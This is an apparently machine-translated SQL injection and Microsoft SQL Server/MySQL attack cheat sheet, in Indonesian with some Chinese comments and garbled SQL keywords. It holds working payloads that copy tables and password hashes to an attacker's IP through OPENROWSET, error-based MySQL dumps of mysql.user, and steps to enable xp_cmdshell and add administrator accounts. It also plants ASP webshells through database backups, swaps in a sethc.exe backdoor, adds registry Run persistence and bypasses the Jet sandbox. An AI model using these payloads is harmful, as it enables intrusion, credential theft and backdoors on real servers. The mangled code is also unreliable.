masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari tabel1) pilih * dari tabel2
masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari _blank>_sysdatabases)
Pilih * dari master.dbo.sysdatabases
masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari _blank>_sysobjects)
Pilih * dari user_blank>_database.dbo.sysobjects
masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari _blank>_syscolumns)
Pilih * dari user_blank>_database.dbo.syscolumns
Mereplikasi database _blank>:
masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari tabel1) pilih * dari database.. Tabel1
masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih

* dari tabel2) pilih * dari database.. Tabel2

Hash kata sandi yang menyalin login _blank> kata sandi tabel hash (HASH) disimpan di sysxlogins. Begini caranya:
masukkan ke dalam OPENROWSET(SQLOLEDB,

uid = sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih * dari _blank>_sysxlogins)

Pilih * dari database.dbo.sysxlogins
Setelah Anda mendapatkan hash, Anda dapat memaksanya.

Untuk melintasi direktori: Pertama, buat tabel sementara: temp
; buat temp tabel (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255)); –
; masukkan master.dbo.xp_blank>_availablemedia eksekutif sementara; – Dapatkan semua drive saat ini
; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Dapatkan daftar subdirektori
; masukkan ke dalam temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Dapatkan struktur hierarki direktori untuk semua subdirektori,

Gabungkan inci ke dalam tabel suhu
; Masukkan ke dalam master.dbo.xp_blank>_cmdshell eksekutif temp(id) ketik C:\web\index.asp; – Lihat file

Konten
; Masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; masukkan ke dalam temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Otoritas yang Berlaku

PUBLIK)
Tulis ke tabel:
pernyataan 1: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(sysadmin)); –
Pernyataan 2: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(serveradmin)); –
Pernyataan 3: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(setupadmin)); –
Pernyataan 4: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(securityadmin)); –
Pernyataan 5: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(securityadmin)); –
Pernyataan 6: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(diskadmin)); –
Pernyataan 7: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Pernyataan 8: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Pernyataan 9: dan 1=(Pilih IS_blank>_MEMBER(db_blank>_owner)); –

Tulis jalur ke tabel:
; Buat Tabel dir(Jalur Varchar(100), ID Int)–
; Masukkan dirs exec master.dbo.xp_blank>_dirtree c:\–
dan 0<>(pilih jalur 1 teratas dari dir)–
dan 0<>(pilih jalur 1 teratas dari dirs di mana jalur tidak di(@Inetpub))–
; Buat tabel dirs1(Jalur varchar(100), id int)–
; Masukkan dirs exec master.dbo.xp_blank>_dirtree e:\web–
dan 0<>(pilih jalur 1 teratas dari dirs1)–

Mencadangkan database _blank> ke direktori web: Unduh
; mendeklarasikan @a sysname; atur @a=db_blank>_name(); @a database cadangan ke disk=e:\web\down.bak; –

dan 1=(Pilih nama 1 teratas dari(Pilih 12 id teratas, nama dari sysobjects di mana xtype=char(85)) T

Pesan berdasarkan ID desc)
dan 1=(Pilih 1 Teratas col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) dari sysobjects) Lihat juga

Tabel terkait.
dan 1=(pilih user_blank>_id dari USER_blank>_LOGIN)
dan 0=(pilih pengguna dari USER_blank>_LOGIN tempat pengguna>1)

-=- wscrip{filter}t.shell contoh -=-
Deklarasikan @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, jalankan, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

Deklarasikan @o int, @f int, @t int, @ret int
Menyatakan @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o keluar
exec sp_blank>_oamethod @o, opentextfile, @f keluar, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line keluar
while( @ret = 0 )
mulai
Cetak @line
exec @ret = sp_blank>_oamethod @f, readline, @line keluar
akhir

Deklarasikan @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o keluar
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>

Deklarasikan @o int, @ret int
eksekutif sp_blank>_oacreate speech.voicetext, @o keluar
exec sp_blank>_oamethod @o, register, NULL, foo, bar
sp_blank>_oasetproperty @o eksekutif, kecepatan, 150
exec sp_blank>_oamethod @o, berbicara, NULL, semua server sekuel Anda adalah milik kami, 528
tunggu penundaan 00:00:05

; Deklarasikan @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o keluar exec

sp_blank>_oamethod @o, daftar, NULL, foo, bar exec sp_blank>_oasetproperty @o, kecepatan, 150 exec

sp_blank>_oamethod @o, bicaralah, NULL, semua server sekuel Anda adalah milik kami, 528 tunggu penundaan

00:00:05–

xp_blank>_dirtree izin PUBLIK yang berlaku
exec master.dbo.xp_blank>_dirtree c: Informasi yang dikembalikan memiliki dua bidang: subdirektori, kedalaman. Bidang subdirektori

Jenis karakter, bidang kedalaman adalah bidang pembentuk.
Buat dirs tabel(Jalur varchar(100), id int)
Pembuatan tabel, tabel yang dibuat di sini terkait dengan xp_blank>_dirtree di atas, dengan bidang yang sama dan jenis yang sama.
insert dirs exec master.dbo.xp_blank>_dirtree c: Selama kita membangun tabel dan menentukan bidang yang dikembalikan oleh proses penyimpanan secara merata

Eksekusi! Untuk mencapai efek menulis tabel, langkah demi langkah untuk mencapai informasi yang kita inginkan!
Injeksi kesalahan ini terutama didasarkan pada luapan tipe data Mysql
    mysql > PILIH 18446744073709551610 * 2 ;
    KESALAHAN 1690 ( 22003 ): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    KESALAHAN 1690 ( 22003 ): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(- (1) *

9223372036854775808)'
Versi database kueri:
    mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * jika (( Pilih ' 5.5' dari

Ganda), 18446744073709551610.18446744073709551610))'
Dapatkan nama bidang:
    mysql> PILIH 2 * if((PILIH * dari (pilih * dari test.shop) sebagai '' batas 1)>(PILIH * dari

test.shop batas 1), 18446744073709551610, 18446744073709551610);

    KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((( pilih

'artikel','dealer','price' dari (pilih 'test'.'shop'.'article' AS

'artikel','uji'.'toko'.'dealer' AS 'dealer','uji'.'toko'.'harga' SEBAGAI 'harga' dari

'uji'.'toko') batas 1) > (pilih

'test'.'shop'.'article','test'.'shop'.'dealer','test'.'shop'.'shop'.'price' dari 'test'.'shop' limit

1)),18446744073709551610,18446744073709551610))'
Dapatkan nilai bidang:

    mysql> PILIH 2 * if((SELECT * dari (pilih * dari (mysql.user) LIMIT 1) sebagai '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((( pilih

'localhost','root','*','Y','Y','Y','Y','Y','Y','Y',

Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' dari batas ganda 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Perhatikan bahwa metode ini tidak berfungsi dengan versi Mysql yang lebih lama, dan Anda perlu mengetahui batas panjang pesan kesalahan, karena ini akan menentukan

Anda bisa mendapatkan selama yang Anda inginkan:
    mysys / my_error.c

    /* Panjang maksimum pesan kesalahan. Harus tetap sinkron dengan MYSQL_ERRMSG_SIZE. */
    #define KESALAHAN (512)

Jika objeknya adalah MariaDB (fork dari Mysql), Anda mungkin melihat pesan kesalahan seperti ini saat Anda mencoba metode di atas:

    mysql> SELECT 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((pilih

#),18446744073709551610,18446744073709551610))'

Sebagai solusinya, masalah ini dapat diselesaikan dengan cara ini:

    mysql> SELECT (I BUKAN NULL) - -9223372036854775808 DARI (SELECT (version())i)a;
    KESALAHAN 1690 (22003): Nilai BIGINT berada di luar jangkauan di '(('5.5-MariaDB' bukan null) - -

(9223372036854775808))'
Sekarang mari kita lihat apakah kita bisa membuat Vektor kita sedikit lebih pendek

//查询数据库版本

    PILIH 2*(if(((PILIH * dari (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    pilih 1E308*jika((pilih*dari(pilih versi())x),2,2)

    PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a
    =
    pilih if(x,2,2)*1E308 dari(pilih versi()x)y
//获取表字段名称
    PILIH 2 * if((PILIH * dari (pilih * dari test.shop) sebagai '' batas 1)>(PILIH * dari

test.shop batas 1), 18446744073709551610, 18446744073709551610)
    =
    pilih 1E308*if((select*from(select*from*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    PILIH 2 * if((SELECT * from (pilih * dari (mysql.user) LIMIT 1) sebagai '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    pilih 1E308*if((pilih*dari(pilih*dari mysql.user LIMIT 1)''limit 1)<(pilih*dari

mysql.user limit 0),2,2)
//获取指定字段的值
    pilih 1E308*if((pilih pengguna|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT

1) batas 1),2,2)
//获取字段个数


    pilih 1E308*if((pilih*dari mysql.user limit 1)>(pilih 1),2,2)



Beberapa deformasi lainnya

    PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a
    pilih 1E308*if((pilih pengguna|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT

1) batas 1),2,2);
    =>
    pilih 2*if((pilih user|host|password|file_priv from(pilih*dari mysql.user LIMIT 1)batas

1),1e308,0);
    mysql> pilih (pilih * dari mysql.user)=1;
    mysql> pilih (pilih * dari mysql.user)in(1);

    KESALAHAN 1241 (21000): Operan harus berisi 42 kolom
    pilih 2*if((pilih user|host|password|file_priv from(pilih*dari mysql.user LIMIT 1)batas

1),1e308,0);
    Pilih if((pilih user|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT 1)a

batas 1),2,2)*1E308
    PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a
    pilih (x!=0x00)--9223372036854775808 dari(PILIH versi()x)y
    mysql> pilih!x-~0.FROM(pilih+pengguna()x)f;
    KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '((not('root@localhost')) - ~

(0))'
3. Menilai sistem database
; dan (pilih count(*) dari sysobjects)>0 mssql
; dan (pilih count(*) dari msysobjects)>0 akses
4. Parameter injeksi adalah karakter
'dan [kriteria kueri] dan ''='
5. Tidak ada parameter yang difilter selama pencarian
'dan [kriteria kueri] dan '%25'='
6. Tebak basis data
; dan (pilih Count(*) dari [nama database])>0
7. Tebak lapangannya
; dan (pilih Hitung (nama bidang) dari nama database)>0
8. Tebak panjang catatan di lapangan
; dan (pilih 1 len teratas (nama bidang) dari nama database)>0
9. (1) Tebak nilai ASCII bidang (akses)
; dan (pilih 1 asc teratas(mid(nama bidang, 1,1)) dari nama database)>0
(2) Tebak nilai ASCII bidang (mssql)
; dan (pilih 1 unicode teratas(substring(nama bidang, 1,1)) dari nama database)>0
10. Struktur Izin Uji (mssql)
; dan 1=(pilih IS_SRVROLEMEMBER('sysadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('serveradmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('setupadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('securityadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('diskadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('bulkadmin')); --
; dan 1=(pilih IS_MEMBER('db_owner')); --
11. Tambahkan akun untuk mssql dan sistem
; nama pengguna master.dbo.sp_addlogin eksekutif; --
; exec master.dbo.sp_password null, nama pengguna, kata sandi; --
; nama pengguna exec master.dbo.sp_addsrvrolemember sysadmin; --
; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /workstation:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /add'; --
; exec master.dbo.xp_cmdshell 'Nama pengguna Administrator Grup Lokal Net /Add'; --
12. (1) Melintasi katalog
; Buat dirs tabel(Jalur varchar(100), id int)
; Masukkan dirs exec master.dbo.xp_dirtree 'c:\'
; dan (pilih 1 jalur teratas dari dir)>0
; dan (pilih 1 jalur teratas dari dirs di mana jalur tidak di('jalur yang diperoleh dari langkah sebelumnya'))>)
(2) Melintasi katalog
; buat temp tabel (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255)); --
; masukkan master.dbo.xp_availablemedia eksekutif sementara; -- Dapatkan semua drive saat ini
; masukkan ke dalam temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Dapatkan daftar subdirektori
; masukkan ke dalam temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Dapatkan struktur hierarki direktori untuk semua subdirektori
; masukkan ke dalam temp(id) exec master.dbo.xp_cmdshell 'ketik c:\web\index.asp'; -- Lihat isi file
13. Prosedur tersimpan di mssql
xp_regenumvalues Kunci root registri, kunci anak
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' dan banyak lagi

recordset untuk mengembalikan semua nilai kunci
xp_regread Kunci akar, kunci turunan, nama nilai kunci
; exec xp_regread 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows

\CurrentVersion','CommonFilesDir' mengembalikan nilai kunci formulasi
xp_regwrite Kunci akar, kunci turunan, nama nilai, jenis nilai, nilai
Ada dua jenis jenis nilai REG_SZ REG_DWORD untuk jenis karakter, dan untuk bilangan bulat
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows

\CurrentVersion','TestvalueName','reg_sz','hello' ditulis ke registri
xp_regdeletevalue Kunci root, sub-kunci, nama nilai
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows

\CurrentVersion', 'TestvalueName' untuk menghapus nilai
xp_regdeletekey tombol hapus 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey',

Sertakan semua nilai di bawah kunci tersebut
14. MSSQL Backup membuat webshell
Gunakan model
buat tabel cmd (gambar str);
masukkan ke dalam nilai cmd(str) ('<% Dim oscrip{filter}t %>');
mencadangkan model database ke disk='c:\l.asp';
15. Fungsi bawaan MSSQL
; dan (pilih @@version)>0 untuk mendapatkan nomor versi Windows
; dan user_name()='dbo' untuk menentukan apakah pengguna yang terhubung dari sistem saat ini adalah SA
; dan (pilih user_name())>0 Meledakkan pengguna yang terhubung dari sistem saat ini
; dan (pilih db_name())>0 untuk mendapatkan database yang saat ini terhubung
16. Webshell ringkas
Gunakan model
buat tabel cmd (gambar str);
Sisipkan ke dalam nilai cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
mencadangkan model database ke disk='g:\wwwtest\l.asp';
Saat meminta, gunakan sesuatu seperti ini:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Dapatkan semua nama database termasuk database sistem
–PILIH nama DARI master.dbo.sysdatabases

Dapatkan semua nama database non-sistem
–pilih [nama] dari master.dbo.sysdatabases di mana DBId>6 Urutkan Berdasarkan [Nama]

Dapatkan semua informasi, termasuk alamat file database
–pilih * dari master.dbo.sysdatabases di mana DBId>6 Order By

[Nama]



Kueri pernyataan ini mengembalikan semua tabel pengguna

Pilih * dari sysobjects di mana xtype='u'


Mengkueri semua informasi tabel data dalam sistem

Pilih * dari sysobjects



Lihat nama mesin
Pilih * dari sys.servers





Daftar isi kolom
eksekutif master.dbo.xp_subdirs 'c:\'


eksekutif master.dbo.xp_dirtree 'c:',1,1 db_owner
Izin dapat diterapkan


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Kode program, ditulis ke webshell


eksekutif master.dbo.xp_subdirs 'd:\web\www.xx.com';
eksekutif sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','pilih"<%execute(request("SB"))%>"






Eksekusi Master .. xp_enumgroups  


Pengguna sistem Traverse


Eksekusi Master .. xp_getnetname
Dapatkan nama mesin saat ini


--Cantumkan drive tetap di server, bersama dengan ruang yang tersedia untuk setiap drive
   dbo publik


Eksekusi

xp_ntsec_enumdomains


--
Buat akun untuk masuk ke MSSQL
nama master.dbo.sp_addlogin eksekutif, lulus; --






--
Mencantumkan nama domain server
xp_ntsec_enumdomains //
Nama mesin //dbo publik


--
Menghentikan atau memulai layanan
xp_servicecontrol 'stop', 'schedule' //schedule adalah nama layanan //dbo


--Gunakan pid

Menghentikan program yang sedang dijalankan
xp_terminate_process 123 //123 adalah pid //dbo


--
Hanya subdirektori dalam direktori yang tercantum
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metode pembukaan xp_cmdshell pada tahun 2005
EXEC sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; EKSEKUTIF

sp_configure 'xp_cmdshell', 1; KONFIGURASI ULANG;

SQL2005 Buka 'OPENROWSET'
Metode yang didukung:
eksekutif sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; eksekutif sp_configure 'Ad Hoc

Kueri Terdistribusi',1; KONFIGURASI ULANG;

SQL2005 untuk mengaktifkan dukungan 'sp_oacreate':
eksekutif sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; eksekutif

sp_configure 'Prosedur Otomasi Ole',1; KONFIGURASI ULANG





Cara mengaktifkan xp_cmdshell di SQL Server 2008


-- Untuk mengizinkan opsi lanjutan diubah.
EKSEKUTIF

sp_configure 'tampilkan opsi lanjutan', 1
PERGI
-- Untuk memperbarui nilai yang saat ini dikonfigurasi untuk

opsi lanjutan.
KONFIGURASI ULANG
PERGI
-- Untuk mengaktifkan fitur.
EXEC sp_configure 'xp_cmdshell', 1
PERGI
-- Untuk

Perbarui nilai yang saat ini dikonfigurasi untuk fitur ini.
KONFIGURASI ULANG
PERGI


eksekutif xp_cmdshell 'ipconfig'



Hari ini, saya ingin mengubah kata sandi login SA dari server database, tetapi tiba-tiba lupa, jadi saya harus membuka penganalisis kueri dengan bantuan akun lain untuk mengubah kata sandi SA

Ini sangat sederhana:


Eksekusi:
sp_password Null,'teracypwd,'sa'
Atur kata sandi SA ke "teracypwd"


Setelah eksekusi berhasil

Ada "Perintah berhasil diselesaikan".  OKE!








Dalam izin db, pisahkan metode untuk mendapatkan IP server database MSSQL


1. NC Lokal mendengarkan NC -VVLP 80


2.; masukkan ke dalam

OPENROWSET('SQLOLEDB','uid=sa; disabilitas = xxx; Jaringan=DBMSSOCN; Alamat=ip Anda, 80; ', 'pilih * dari

dest_table') pilih * dari src_table; --


Pilih * dari OpenRowSet

('sqloledb','server=125.110.145.130,6789; uid = sa; pwd=zhu','pilih pengguna; ')





Impor dan ekspor database

/*不同服务器数据库之间的数据操作*/

--Buat server tautan
sp_addlinkedserver eksekutif   

'ITSV', 'SQLOLEDB', 'Nama Server Jarak Jauh atau Alamat IP'
exec sp_addlinkedsrvlogin 'ITSV ', 'false

',null, 'nama pengguna', 'kata sandi'

--query contoh
pilih * dari ITSV.database name.dbo.nama tabel

--import contoh
Pilih *

ke dalam tabel dari ITSV.databasename.dbo.tablename

--Hapus server yang ditautkan jika tidak lagi digunakan di masa mendatang
eksekutif sp_dropserver 'ITSV ',

'droplogin'

--
Menghubungkan ke data jarak jauh/LAN (openrowset/openquery/opendatasource)
--1、openrowset

--query contoh
Pilih *

dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; 'kata sandi', nama database.dbo.nama tabel)

--
Membuat tabel lokal
pilih * ke dalam tabel dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; 'Kata sandi', nomor

Menurut nama database.dbo. nama tabel)

--
Mengimpor tabel lokal ke tabel jarak jauh
masukkan openrowset( 'SQLOLEDB', 'nama server sql'; 'Nama pengguna'; 'Kata sandi', database

nama.dbo.nama tabel)
Pilih *dari tabel lokal

--
Perbarui tabel lokal
Memperbarui B
set b. kolom A = a
dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; '

kata sandi ', nama database .dbo.nama tabel) sebagai tabel lokal gabungan dalam b
pada a.kolom1=b.kolom1

--openquery
Penggunaan memerlukan pembuatan koneksi

--Pertama, buat koneksi untuk membuat server tautan
eksekutif sp_addlinkedserver 'ITSV ', ' ',

'SQLOLEDB', 'nama server jarak jauh atau alamat ip'
--Tanyakan
Pilih *
DARI openquery(ITSV, 'PILIH * DARI data

library.dbo.table name ')
--
Mengimpor tabel lokal ke tabel jarak jauh
insert openquery(ITSV, 'PILIH * DARI database.dbo.table name')
Pilih * dari lokal

Tabel
--update tabel lokal
Memperbarui B
atur b. kolom B=a
DARI openquery(ITSV, 'PILIH * DARI database.dbo.tablename')

sebagai  
Gabung dalam tabel lokal b pada a. kolom A=b. kolom A

--3、opendatasource/openrowset
PILIH *
DARI   

opendatasource( 'SQLOLEDB ', 'Sumber Data=ip/Nama Server; ID Pengguna = Nama login; Kata Sandi = Kata Sandi '

).test.dbo.roy_ta
--
Mengimpor tabel lokal ke tabel jarak jauh



Penghapusan dan pemulihan xp_cmdshell


Cara memulihkan xp_cmdshell   
Hapus prosedur tersimpan yang diperpanjang xp_cmdshell

Pernyataan   
eksekutif sp_dropextendedproc 'xp_cmdshell'   



Memulihkan pernyataan sql cmdshell   
eksekutif sp_addextendedproc xp_cmdshell ,@dllname = 'xplog70.dll'   


eksekutif

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Pilih count(*) dari

master.dbo.sysdi mana xtype='x' dan   
Hasil yang dikembalikan adalah 1 dan tidak apa-apa   


Jika tidak, Anda perlu mengunggah c:\inetput\web

\xplog70.dll nanti   
eksekutif master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Jika Anda menghapusnya dengan cara berikut   
Prosedur Drop sp_addextendedproc   
Prosedur Drop sp_oacreate   
eksekutif

sp_dropextendedproc 'xp_cmdshell'   



Anda dapat memulihkannya dengan pernyataan berikut   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
dbcc

addextendedproc ("xp_cmdshell","xplog70.dll")   

Dengan cara ini, itu dapat dipulihkan secara langsung, terlepas dari apakah sp_addextendedproc ada atau tidak






1、
Gunakan xp_cmdshell:
          exec master.dbo.xp_cmdshell "admin pengguna bersih admin /add"
          eksekutif

master.dbo.xp_cmdshell "admin / add administrator grup lokal net"

Dalam kasus xp_cmdshell, gunakan sp_oacreate untuk mengikuti sp_oamethod:
          Deklarasikan @object int   
          eksekutif

sp_oacreate 'wscrip{filter}t.Shell', @object keluar         
          sp_oamethod eksekutif

@object,'Jalankan',NULL,'admin pengguna bersih admin /add'
          exec sp_oamethod @object,'Jalankan',NULL,'net

localgroup Administrator admin /add'

Catatan: regsvr32 /s c:\windows\system32\wshom.ocx
Mulai wscrip{filter}t.shell
3、
Gunakan sp_oacreate dan FSO
          Deklarasikan @o int
          sp_oacreate eksekutif

'scrip{filter}ting.filesystemobject', @o keluar
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Deklarasikan @oo int
          eksekutif

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo keluar
          sp_oamethod @oo eksekutif,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Gunakan xp_regwrite (db_owner, perlu reboot):
          master.dbo.xp_regwrite eksekutif

'hkey_local_machine','perangkat lunak\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          master.dbo.xp_regwrite eksekutif

'hkey_local_machine','perangkat lunak\microsoft\windows\currentversion\


run','eadd2','reg_sz','admin administrator grup lokal net /add'
5. Gunakan sp_add_job:
          eksekutif

master.dbo.xp_servicecontrol 'mulai','SQLSERVERAGENT'
          Gunakan MSDB EXEC sp_delete_job

null,'x'
          eksekutif sp_add_job 'x'
          sp_add_jobstep eksekutif

Null,'x',Null,'1','CMDEXEC','cmd /c admin pengguna bersih admin /add'
          sp_add_jobserver eksekutif

Null,'x',@@servername eksekutif sp_start_job 'x'















Banyak SA telah berhasil di banyak mesin secara langsung menggunakan mode kotak pasir, tetapi saya belum pernah mempraktikkannya dan saya tidak tahu berapa tingkat keberhasilannya. Saat ekstensi dihapus, pertama-tama

Pulihkan penyimpanan baca dan tulis ke registri.
dbcc addextendedproc ('xp_regread','xpstar.dll')
DBCC AddExtendedProc

('xp_regwrite','xpstar.dll')



Memperbaiki mode yang dilindungi dari kotak pasir
master eksekutif .. xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Jet

\4.0\Mesin','SandBoxMode','REG_DWORD',0; --



Lihat apakah nilai 'SandBoxMode' telah berubah menjadi 0.


eksekutif master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Terakhir, panggil mode kotak pasir
Pilih * dari OpenRowset('Microsoft.jet.oledb.4.0','; database = C: \ WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c pengguna bersih passwd /add")')







Jika mode perlindungan kotak pasir tidak "mati", kesalahan dilaporkan:
          Server: Msg 7357, Level 16, Status 2, Baris 1

Gagal menangani objek 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB menyediakan program

Kata pengantar 'microsoft.jet.oledb.4.0' menunjukkan bahwa tidak ada kolom dalam objek.

Pelacakan kesalahan OLE DB [Kesalahan non-antarmuka: Penyedia OLE DB tidak dapat memproses objek, karena objek

memiliki nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c pengguna bersih

pengguna passwd /add")']。


2、
Jika .mdb tidak ada atau jalur input salah
           Server: Msg 7399, Level 16, Status 1, Baris 1

Kesalahan 'microsoft.jet.oledb.4.0' penyedia OLE DB.
            [Penyedia OLE/DB mengembalikan pesan:

File 'C:\WINDOWS\system32\ias\dnary1.mdb' tidak ditemukan. ]

Pelacakan kesalahan OLE DB [Penyedia OLE/DB 'microsoft.jet.oledb.4.0' IDBInitialize::Inisialisasi dikembalikan

0x80004005: ]。


3. Jika ada lebih banyak ruang selama proses input, kesalahan juga akan dilaporkan. Berikan perhatian khusus untuk ini, banyak orang langsung mencari artikel secara online

Tempelkan dan jalankan.
          Server: Msg 7357, Level 16, Status 2, Baris 1
          Gagal memproses objek 'pilih

shell("cmd.exe /c pengguna bersih passwd /add")'。
Penyedia OLE DB 'microsoft.jet.oledb.4.0' menyatakan bahwa tidak ada kolom dalam objek.

Pelacakan kesalahan OLE DB [Kesalahan non-antarmuka:
Penyedia OLE DB tidak dapat memproses objek, karena objek telah

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c pengguna bersih

passwd /add")']。


4、
Jika izin mdb dan izin cmd.exe salah, masalah juga akan terjadi.
